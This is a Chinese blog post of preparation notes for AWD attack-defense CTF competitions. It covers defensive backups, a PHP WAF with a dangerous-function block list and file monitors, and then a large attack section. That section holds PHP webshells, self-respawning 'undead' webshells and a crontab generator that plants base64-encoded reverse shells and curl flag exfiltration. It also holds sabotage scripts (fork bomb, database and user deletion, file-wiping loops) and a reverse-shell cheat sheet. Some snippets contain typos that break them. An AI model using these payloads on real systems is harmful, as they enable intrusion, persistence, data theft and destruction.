AWD 赛前准备

本文最后更新于:2021年8月20日 下午

之前从未打过 AWD 的比赛,这次准备时把网上的资料整理了一下

AWD 赛前准备

AWD 规则

  1. 一般分配Web服务器,服务器某处存在flag,一般为根目录
  2. flag 在主办方设定下每隔一段时间会刷新
  3. 各队具有初试分数;
  4. flag 一旦被其他队伍获得,该队扣除一定积分,扣除的积分有获取 flag 的队伍均分
  5. 主办方会对每个队伍的服务进行 check,服务器宕机扣除本轮 flag 分数,扣除的分值由 check 正常的队伍均分;
  6. 一般每个队伍会给予一个低权限用户,而非 root

线下环境准备

  • 比赛前主办方可能提供网络拓扑
    • 攻击机、靶机、check 服务器

题目类型

  1. 语言:多数 php,少数 Java、Python;
  2. 出题人写的 cms,添加上对应的漏洞点;
  3. 一些框架漏洞(thinkphp、MVC);

防御

备份

  1. 目录打包

    • 打包

      1
      tar -zcvf archive_name.tar.gz  directory_to_compress
      • 备份整站
        1
        2
        3
        cd /var/www && tar -czvf /tmp/html.tgz html
        # 软连接到了/app
        cd / && tar -czvf /tmp/app.tgz app
    • 解包

      1
      tar -zxvf archive_name.tar.gz
  2. 数据库

    • 备份指定的多个数据库

      1
      mysqldump -uroot -proot --databases DB1 DB2 > /tmp/db.sql
      • 无 lock tables 权限的解决方法

        1
        mysqldump -uroot -proot --all-databases --skip-lock-tables > /tmp/db.sql
    • 恢复备份(在 MySQL 终端下执行)

      1
      source FILE_PATH
    • 重置 MySQL 密码(在 MySQL 终端下执行)

      • 方法 1

        1
        set password for 用户名@localhost = password("新密码")
      • 方法 2

        1
        mysqladmin -u用户名 -p旧密码 password 新密码
  3. 下载到本地

    1
    scp -P ssh_port user@host_ip:/tmp/bak.sql local_file

基础查杀

  1. 寻找最近20分钟修改过的文件

    1
    find /var/www/html -name *.php -mmin -20
  2. 寻找行数最短的文件:

    1
    find ./ -name '*.php' | xargs wc -l | sort -u
  3. 拿到源码后使用D盾查杀——可以找到位置不明显的 webshell

  4. Seay 源代码审计系统

  5. 检查系统安全性:关闭无需开放的端口、检查弱口令、mysql默认密码、是否做了SSH登录限制

    • 端口

      • 查看端口

        • 方法 1
        1
        2
        3
        4
        5
        # -n 直接使用IP地址
        # -a 所有连线中的Socket
        # -p programs 显示正在使用Socket的程序识别码和程序名称
        # -t 显示TCP传输协议的连线状况
        netstat -napt
        • 方法 2
        1
        lsof -i:port 
      • 杀掉进程

        1
        kill -9 PID
    • SSH 修改密码

      1
      2
      # SSH登录后执行
      passwd
  6. 修改权限

    1
    2
    # 用chattr命令防止系统中某个关键文件被修改:
    chattr +i /etc/resolv.conf
    1
    2
    # 删除file的所有用户的执行权限
    chmod -R a-x file
  7. 关键字查杀

    1
    2
    3
    find . -name '*.php' | xargs grep -n 'eval('
    find . -name '*.php' | xargs grep -n 'assert'
    find . -name '*.php' | xargs grep -n 'system()'
  8. 重置web的各种登录密码,但是有被check的风险

修改 curl

  • 因为获取 flag 一般是 curl http://xxx.com/flag.txt​
1
2
3
4
alias curl='echo fuckoff' #权限要求较低,可以在这里改成虚假的flag
# 或者
chmod -x curl #权限要求较高
/usr/bin curl路径

漏洞修复

  • 基本原则

    1. 能修复的尽量修复;
    2. 不能修复的先注释源码,不影响页面显示再删除;
    3. 站点和对应的功能尽可能不宕机;
  • 技巧

    1. 设置 waf,如 load_file
    2. 对于一些成型的 CMS,找到相应版本号后,对其 diff
    3. 修改弱口令用户;
    4. 对于觉得危险函数的地方直接使用die()

WAF

  • 过滤参数,但是过于严格有可能宕机

  • 使用方法:

    1. 在每个文件前加上代码,在 php.ini 中找到auto_prepend_file = waf.php
    2. 防护页面加上 require_one('waf.php')
    1
    sudo find /var/www/html/path_you_want -type f -path "*.php" | xargs sed -i "s/<?php /<?php\nrequire_once('\/tmp\/waf.php');\n/g"
    1. leohearts/awd-watchbirdDasSecurity-HatLab/AoiAWDsharpleung/CTF-WAF
    2. 常用 PHP 系统添加 WAF
    php 系统 waf 位置
    PHPCMS V9 \phpcms\base.php
    PHPWIND8.7 \data\sql_config.php
    DEDECMS5.7 \data\common.inc.php
    DescuzX2 \config\config_global.php
    DEDECMS5.7 \wp-config.php
    Meinfov \include\head.php
  • 如果不能部署 waf,可以配置 apache 禁止 PHP 执行,很可能被 check

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    <Directory "/var/www/html/">
    Options -ExecCGI -Indexes
    AllowOverride None
    RemoveHandler .php .phtml .php3 .pht .php4 .php5 .php7 .shtml
    RemoveType .php .phtml .php3 .pht .php4 .php5 .php7 .shtml
    php_flag engine off
    <FilesMatch ".+\.ph(p[3457]?|t|tml)$">
    deny from all
    </FilesMatch>
    </Directory>
  • 一个 WAF 的例子

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    <?php
    error_reporting(0);
    define('LOG_FILENAME', 'log.txt');
    function waf() {
    if (!function_exists('getallheaders')) {
    function getallheaders() {
    foreach ($_SERVER as $name => $value) {
    if (substr($name, 0, 5) == 'HTTP_') $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5))))) ] = $value;
    }
    return $headers;
    }
    }
    $get = $_GET;
    $post = $_POST;
    $cookie = $_COOKIE;
    $header = getallheaders();
    $files = $_FILES;
    $ip = $_SERVER["REMOTE_ADDR"];
    $method = $_SERVER['REQUEST_METHOD'];
    $filepath = $_SERVER["SCRIPT_NAME"];
    //rewirte shell which uploaded by others, you can do more
    foreach ($_FILES as $key => $value) {
    $files[$key]['content'] = file_get_contents($_FILES[$key]['tmp_name']);
    file_put_contents($_FILES[$key]['tmp_name'], "virink");
    }
    unset($header['Accept']); //fix a bug
    $input = array(
    "Get" => $get,
    "Post" => $post,
    "Cookie" => $cookie,
    "File" => $files,
    "Header" => $header
    );
    //deal with
    $pattern = "select|insert|update|delete|and|or|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex";
    $pattern.= "|file_put_contents|fwrite|curl|system|eval|assert";
    $pattern.= "|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";
    $pattern.= "|`|dl|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec";
    $vpattern = explode("|", $pattern);
    $bool = false;
    foreach ($input as $k => $v) {
    foreach ($vpattern as $value) {
    foreach ($v as $kk => $vv) {
    if (preg_match("/$value/i", $vv)) {
    $bool = true;
    logging($input);
    break;
    }
    }
    if ($bool) break;
    }
    if ($bool) break;
    }
    }
    function logging($var) {
    date_default_timezone_set("Asia/Shanghai");//修正时间为中国准确时间
    $time=date("Y-m-d H:i:s");//将时间赋值给变量$time
    file_put_contents(LOG_FILENAME, "\r\n\r\n\r\n" . $time . "\r\n" . print_r($var, true) , FILE_APPEND);
    // die() or unset($_GET) or unset($_POST) or unset($_COOKIE);

    }
    waf();
    ?>

文件监控

  • Shell 监控新增文件,创建文件的时候更改文件创建时间可能监测不到
1
2
3
4
5
6
7
# 循环监听一小时以内更改过的文件或新增的文件,进行删除。
#!/bin/bash
while true
do
find /var/www/dvwa/ -cmin -60 -type f | xargs rm -rf
sleep 1
done
  • Python 监测新增文件:放在 /var/www//var/www/html 下执行这个脚本,它会先备份当前目录下的所有文件,然后监控当前目录,一旦当前目录下的某个文件发生变更,就会自动还原,有新的文件产生就会自动删除
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
# -*- coding: utf-8 -*-
#use: python file_check.py ./

import os
import hashlib
import shutil
import ntpath
import time

CWD = os.getcwd()
FILE_MD5_DICT = {} # 文件MD5字典
ORIGIN_FILE_LIST = []

# 特殊文件路径字符串
Special_path_str = 'drops_JWI96TY7ZKNMQPDRUOSG0FLH41A3C5EXVB82'
bakstring = 'bak_EAR1IBM0JT9HZ75WU4Y3Q8KLPCX26NDFOGVS'
logstring = 'log_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'
webshellstring = 'webshell_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'
difffile = 'diff_UMTGPJO17F82K35Z0LEDA6QB9WH4IYRXVSCN'

Special_string = 'drops_log' # 免死金牌
UNICODE_ENCODING = "utf-8"
INVALID_UNICODE_CHAR_FORMAT = r"\?%02x"

# 文件路径字典
spec_base_path = os.path.realpath(os.path.join(CWD, Special_path_str))
Special_path = {
'bak' : os.path.realpath(os.path.join(spec_base_path, bakstring)),
'log' : os.path.realpath(os.path.join(spec_base_path, logstring)),
'webshell' : os.path.realpath(os.path.join(spec_base_path, webshellstring)),
'difffile' : os.path.realpath(os.path.join(spec_base_path, difffile)),
}


def isListLike(value):
return isinstance(value, (list, tuple, set))

# 获取Unicode编码
def getUnicode(value, encoding=None, noneToNull=False):
if noneToNull and value is None:
return NULL
if isListLike(value):
value = list(getUnicode(_, encoding, noneToNull) for _ in value)
return value
if isinstance(value, unicode):
return value
elif isinstance(value, basestring):
while True:
try:
return unicode(value, encoding or UNICODE_ENCODING)
except UnicodeDecodeError, ex:
try:
return unicode(value, UNICODE_ENCODING)
except:
value = value[:ex.start] + "".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:]
else:
try:
return unicode(value)
except UnicodeDecodeError:
return unicode(str(value), errors="ignore")

# 目录创建
def mkdir_p(path):
import errno
try:
os.makedirs(path)
except OSError as exc:
if exc.errno == errno.EEXIST and os.path.isdir(path):
passcur
else: raise

# 获取当前所有文件路径
def getfilelist(cwd):
filelist = []
for root,subdirs, files in os.walk(cwd):
for filepath in files:cur
originalfile = os.path.join(root, filepath)
if Special_path_str not in originalfile:
filelist.append(originalfile)
return filelist

# 计算机文件MD5值
def calcMD5(filepath):
try:
with open(filepath,'rb') as f:
md5obj = hashlib.md5()
md5obj.update(f.read())
hash = md5obj.hexdigest()
return hash
except Exception, e:
print u'[!] getmd5_error : ' + getUnicode(filepath)
print getUnicode(e)
try:
ORIGIN_FILE_LIST.remove(filepath)
FILE_MD5_DICT.pop(filepath, None)
except KeyError, e:
pass

# 获取所有文件MD5
def getfilemd5dict(filelist = []):
filemd5dict = {}
for ori_file in filelist:
if Special_path_str not in ori_file:
md5 = calcMD5(os.path.realpath(ori_file))
if md5:
filemd5dict[ori_file] = md5
return filemd5dict

# 备份所有文件
def backup_file(filelist=[]):
# if len(os.listdir(Special_path['bak'])) == 0:
for filepath in filelist:
if Special_path_str not in filepath:
shutil.copy2(filepath, Special_path['bak'])

if __name__ == '__main__':
print u'---------start------------'
for value in Special_path:
mkdir_p(Special_path[value])
# 获取所有文件路径,并获取所有文件的MD5,同时备份所有文件
ORIGIN_FILE_LIST = getfilelist(CWD)
FILE_MD5_DICT = getfilemd5dict(ORIGIN_FILE_LIST)
backup_file(ORIGIN_FILE_LIST) # TODO 备份文件可能会产生重名BUG
print u'[*] pre work end!'
while True:
file_list = getfilelist(CWD)
# 移除新上传文件
diff_file_list = list(set(file_list) ^ set(ORIGIN_FILE_LIST))
if len(diff_file_list) != 0:
# import pdb;pdb.set_trace()
for filepath in diff_file_list:
try:
f = open(filepath, 'r').read()
except Exception, e:
break
if Special_string not in f:
try:
print u'[*] webshell find : ' + getUnicode(filepath)
shutil.move(filepath, os.path.join(Special_path['webshell'], ntpath.basename(filepath) + '.txt'))
except Exception as e:
print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filepath)
try:
f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
f.write('newfile: ' + getUnicode(filepath) + ' : ' + str(time.ctime()) + '\n')
f.close()
except Exception as e:
print u'[-] log error : file move error: ' + getUnicode(e)

# 防止任意文件被修改,还原被修改文件
md5_dict = getfilemd5dict(ORIGIN_FILE_LIST)
for filekey in md5_dict:
if md5_dict[filekey] != FILE_MD5_DICT[filekey]:
try:
f = open(filekey, 'r').read()
except Exception, e:
break
if Special_string not in f:
try:
print u'[*] file had be change : ' + getUnicode(filekey)
shutil.move(filekey, os.path.join(Special_path['difffile'], ntpath.basename(filekey) + '.txt'))
shutil.move(os.path.join(Special_path['bak'], ntpath.basename(filekey)), filekey)
except Exception as e:
print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filekey)
try:
f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
f.write('diff_file: ' + getUnicode(filekey) + ' : ' + getUnicode(time.ctime()) + '\n')
f.close()
except Exception as e:
print u'[-] log error : done_diff: ' + getUnicode(filekey)
pass
time.sleep(2)
# print '[*] ' + getUnicode(time.ctime())
  • Python 监控被修改的文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#!/usr/bin/python
#coding=utf-8
#Usage :python demo.py
#Code by : AdminTony
#QQ : 78941695
#注意:要将此文件放在有读写权限的目录以及所有修改过的php必须在此目录或者该目录的子目录中。
#作用:读取被修改过的文件,然后将文件的地址加上内容全部存放在txt


import sys,subprocess,os
#查找最近10分钟被修改的文件
def scanfile():
#command: find -name '*.php' -mmin -10
command = "find -name \'*.php\' -mmin -10"
su = subprocess.Popen(command,shell=True,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
STDOUT,STDERR = su.communicate()
list = STDOUT.split("\n")
#print str(list)
#将文件处理成list类型然后返回。
return list

#读取文件:
def loadfile(addr):
data = ""
#如果文件不存在就跳出函数
try :
file = open(addr,'r')
data = file.read()
except :
return 0
all_data = addr+"\n"+data+"\n\n"
file1 = open("shell.txt",'a+')
#避免重复写入
try:
shell_content = file1.read()
except:
shell_content = "null"
#如果文件内容不为空再写入,避免写入空的。
#print shell_content
if data :
if all_data not in shell_content:
file1.write(all_data)
file.close()
file1.close()
rm_cmd = "rm -rf "+addr
su = subprocess.Popen(rm_cmd,shell=True,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
su.communicate()
print "loadfile over : "+addr

if __name__ == '__main__':
while True:

list = scanfile()
if list :
for i in range(len(list)):
#如果list[i]为空就不读取了
if list[i]:
loadfile(str(list[i]))
else : pass

删除不死马

  1. ps auxww|grep shell.php 找到pid后杀掉进程

    • 循环杀进程

      1
      ps aux|grep www-data|awk '{print $2}'|xargs kill 
  2. 重启php等web服务

    1
    service php-fpm restart
  3. 用一个ignore_user_abort(true)脚本,一直竞争写入(断断续续)。

    • usleep要低于对方不死马设置的值

    • 3.php

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      <?php
      ignore_user_abort(true);
      set_time_limit(0);
      unlink(__FILE__);
      $file = '.3.php';
      $code = 'hi springbird !';
      //pass=pass
      while (1){
      file_put_contents($file,$code);
      system('touch -m -d "2018-12-01 09:10:12" .3.php');
      // usleep(5000);
      usleep(1000);
      }
      ?>
  4. 创建一个和不死马生成的马一样名字的文件夹 mkdir 1.php

    • 循环创建

      1
      2
      3
      4
      5
      6
      #!/bin/bash
      dire="/var/www/html/.base.php/"
      file="/var/www/html/.base.php"
      rm -rf $file
      mkdir $dire
      ./xx.sh

流量分析

  • 在比赛服务器上抓取流量包

    1
    2
    sudo tcpdump -s 0 -w flow.pcap port 80
    # 然后使用 scp 写个脚本实时将流量包拷贝到本地
  • 抓取流量平台 wupco/weblogger

  • 流量分析平台 seadog007/pcap-search

日志分析

攻击

主机发现

  • nmap、Routescan
  • Python 脚本
1
2
3
4
5
6
7
for x in range(2,255): 
url = "http://192.168.1.{}".format(x)
try:
r = requests.post(url)
print(url)
except:
pass

自动提交flag

  • 以i春秋的API接口为例
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    import requests
    import sys
    reload(sys)
    sys.setdefaultencoding(utf-8)
    def post_answer(flag):
    url='http://172.16.4.1/Common/submitAnswer'
    header = {
    'Content-type': r'application/x-www-form-urlencoded; charset=UTF-8',
    'X-Requested-With': 'XMLHttoRequest',
    'User-Agent': r'Mozilla/5.0 (Windows NT 6.1; WOW64; re:45.0) Gecko/20100101 Firefox/45.0',
    'Referer': 'http://172.16.4.102/answer/index'
    }
    post_data={
    'answer': flag.
    'token': 'd16ba10b829f4cfae33de641b071ea8a'
    }
    re=requests.post(url=url,data=post_data,headers=headers)
    return re

木马

  • 一句话木马

    1
    <?php @eval($_POST['attack']);?>
    • MD5木马

      1
      2
      3
      4
      <?php
      if(md5($_POST['pass'])=='d8d1a1efe0134e2530f503028a825253')
      @eval($_POST['cmd']);
      ?>
      • 再利用header

        1
        2
        3
        4
        5
        6
        7
        8
        <?php
        echo 'hello';
        if(md5($_POST['pass'])=='d8d1a1efe0134e2530f503028a825253')
        if (@$_SERVER['HTTP_USER_AGENT'] == 'flag'){
        $test= 'flag';
        header("flag:$test");
        }
        ?>
  • 不死马

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    <?php 
    ignore_user_abort(true);//忽略与用户的断开
    set_time_limit(0);//设置脚本最大执行时间
    unlink(__FILE__);//删除文件本身
    $file = '.3.php';
    $code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[a]);} ?>';
    //pass=pass
    while (1){
    file_put_contents($file,$code);
    system('touch -m -d "2018-12-01 09:10:12" .3.php');//修改时间
    usleep(5000);
    }
    ?>
  • 利用base64和crontab的强不死马

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    #!/usr/bin/env python3
    import base64

    def crontab_reverse(reverse_ip, reverse_port):
    crontab_path = "/tmp"
    cmd = 'bash -i >& /dev/tcp/%s/%d 0>&1' % (reverse_ip, reverse_port)
    crontab_cmd = "* * * * * bash -c '%s'\n" % cmd
    encode_crontab_cmd = base64.b64encode(crontab_cmd)
    cmd = "/bin/echo " + encode_crontab_cmd + " | /usr/bin/base64 -d | /bin/cat >> " + crontab_path + "/tmp_rev.conf" + " ; " + "/usr/bin/crontab " + crontab_path + "/tmp.conf"
    return cmd

    def crontab_rm(rm_paths='/var/www/html/'):
    crontab_path = "/tmp"
    cmd = '/bin/rm -rf %s' % rm_paths
    crontab_cmd = "* * * * * %s\n" % cmd
    encode_crontab_cmd = base64.b64encode(crontab_cmd)
    cmd = "/bin/echo " + encode_crontab_cmd + " | /usr/bin/base64 -d | /bin/cat >> " + crontab_path + "/tmp_rm.conf" + " ; " + "/usr/bin/crontab " + crontab_path + "/tmp.conf"
    return cmd

    def crontab_flag_submit(flag_server, flag_port, flag_api, flag_token,
    flag_host):
    crontab_path = '/tmp'
    cmd = '/usr/bin/curl "http://%s:%s/%s" -d "token=%s&flag=$(curl %s)" ' % (
    flag_server, flag_port, flag_api, flag_token, flag_host)
    crontab_cmd = "* * * * * %s\n" % cmd
    encode_crontab_cmd = base64.b64encode(crontab_cmd)
    cmd = "/bin/echo " + encode_crontab_cmd + " | /usr/bin/base64 -d | /bin/cat >> " + crontab_path + "/tmp_submit.conf" + " ; " + "/usr/bin/crontab " + crontab_path + "/tmp.conf"
    return cmd

    # cmd = crontab_flag_submit(flag_server='0.0.0.0',
    # flag_port='8888',
    # flag_api='submit',
    # flag_token='bcbe3365e6ac95ea2c0343a2395834dd',
    # flag_host='http://192.168.100.1/Getkey')
    # print(cmd)

    cmd = crontab_reverse('202.204.62.222',6666)
    print(cmd)
  • 冰蝎 rebeyond/Behinder

权限维持

  • crontab

    1
    2
    3
    # 编辑 crontab:crontab -e
    */5 * * * * curl 172.16.100.5:9000/submit_flag/ -d 'flag='$(cat /home/web/flag/flag)'&token=7gsVbnRb6ToHRMxrP1zTBzQ9BeM05oncH9hUoef7HyXXhSzggQoLM2uXwjy1slr0XOpu8aS0qrY'
    # 查询 crontab:crontab -l
  • 藏在 .config.php

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    <?php
    set_time_limit(0);
    ignore_user_abort(true);

    $file = '.conifg.php';
    $shell = "<?php echo system("curl 10.0.0.2"); ?>";

    while(true){
    file_put_contents($file, $shell);
    system('chmod 777 .demo.php');

    usleep(50);
    }
    ?>

优雅地获取 flag

  1. 通过 header 头:
    在 config.php 中加入:

    1
    header('flag:'.file_get_contents('/tmp/flag'));

    则可以访问任何一个页面均可从 header 头中读取 flag。

  2. 通过 gamebox 提交:
    写 crontab 后门,例如:

    1
    */5 * * * * curl [ip]/flag -d 'flag=$(cat /tmp/flag)' & token=[队伍 token]'
  3. 文件包含

  4. 在 404 等难以发现的页面中,直接使用 echo 'cat /f*' 命令。

    • 更加优雅的方式是用 HTML 标签将其隐藏,然后用正则匹配找出:
    1
    <input type="hidden" name='<?php echo 'cat /flag';?>' value="Sign In" class="btn btn-primary">
  5. 利用 copy,在 index.php 中加入如下语句:

    1
    copy('/flag','/var/www/html/.1.txt')

    但是这样会让 flag 被其他队伍获取,所以可以在 index.php 上在加上:

    1
    2
    3
    if(isset($_GET['url'])){
    unlink(.1.txt);
    }

    这样读取 flag 的内容后,立即用 GET 请求,即可删除 .1.txt.

  6. 另类的 webshell

    1
    2
    3
    4
    5
    <?php>
    $str="sesa";
    $aa=str_shuffle($str).'rt';
    @$aa($_GET[1]);
    ?>
  7. 不复用 shell

    1
    2
    3
    4
    5
    url='http://10.10.10.'+str(i)+"/links.html.php"
    myshellpath="testawd"+str(i)
    passis=md5(myshellpath)
    data={passis:'echo file_get_contents("/home/flag")'}
    a=requests.post(url=url,data=data)

搅屎

  • 无限复制

    1
    2
    3
    4
    5
    6
    7
    8
    <?php
    set_time_limit(0);
    ignore_user_abort(true);
    while(1){
    file_put_contents(randstr().'.php',file_get_content(__FILE__));
    file_get_contents("http://127.0.0.1/");
    }
    ?>
  • 修改数据库密码

    1
    2
    3
    4
    5
    6
    update mysql.user set authentication_string=PASSWORD('p4rr0t');# 修改所有用户密码
    flush privileges;
    UPDATE mysql.user SET User='aaaaaaaaaaaa' WHERE user='root';
    flush privileges;
    delete from mysql.user ;#删除所有用户
    flush privileges;
  • 重启 apache2 和 nigix

    1
    2
    3
    4
    5
    6
    #!/usr/bin/env sh
    while [[ 1 ]]
    do
    service apache2 stop
    service nginx stop
    done &
  • 循环删除

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    <?php
    set_time_limit(0);
    ignore_user_abort(1);
    unlink(__FILE__);
    function getfiles($path){
    foreach(glob($path) as $afile){
    if(is_dir($afile))
    getfiles($afile.'/*.php');
    else
    @file_put_contents($afile,"#Anything#");
    //unlink($afile);
    }
    }
    while(1){
    getfiles(__DIR__);
    sleep(10);
    }
    ?>

    <?php
    set_time_limit(0);
    ignore_user_abort(1);
    array_map('unlink', glob("some/dir/*.php"));
    ?>
  • 删除数据库

    1
    2
    3
    4
    5
    6
    7
    8
    9
    #!/usr/bin/env python3
    import base64
    def rm_db(db_user,my_db_passwd):
    cmd = "/usr/bin/mysql -h localhost -u%s %s -e '"%(db_user,my_db_passwd)
    db_name = ['performance_schema','mysql','flag']
    for db in db_name:
    cmd += "drop database %s;"%db
    cmd += "'"
    return cmd
  • fork_bomb

    1
    2
    #!/bin/sh
    /bin/echo '.() { .|.& } && .' > /tmp/aaa;/bin/bash /tmp/aaa;
  • Webshell_Boss.php 蠕虫病毒PlutoaCharon/AWD-Attack-Defense/Webshell_Boss.php

反弹shell

  • 最简单
    1
    bash -c 'bash -i >& /dev/tcp/[ip]/[port] 0>&1'
  • shell
    1
    2
    3
    4
    nc -e /bin/bash 1.3.3.7 4444
    bash -c 'bash -i >/dev/tcp/1.3.3.7/4444 0>&1'
    zsh -c 'zmodload zsh/net/tcp && ztcp 1.3.3.7 4444 && zsh >&$REPLY 2>&$REPLY 0>&$REPLY'
    socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:1.3.3.7:4444
  • python
    1
    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_REAM);s.connect(("127.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
  • php
    1
    php -r '$sock=fsockopen("your_ip","4444");exec("/bin/sh -i <&3 >&3 2>&3");'
  • windows
    1
    nc.exe -e /bin/bash 1.3.3.7 4444

参考资料


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!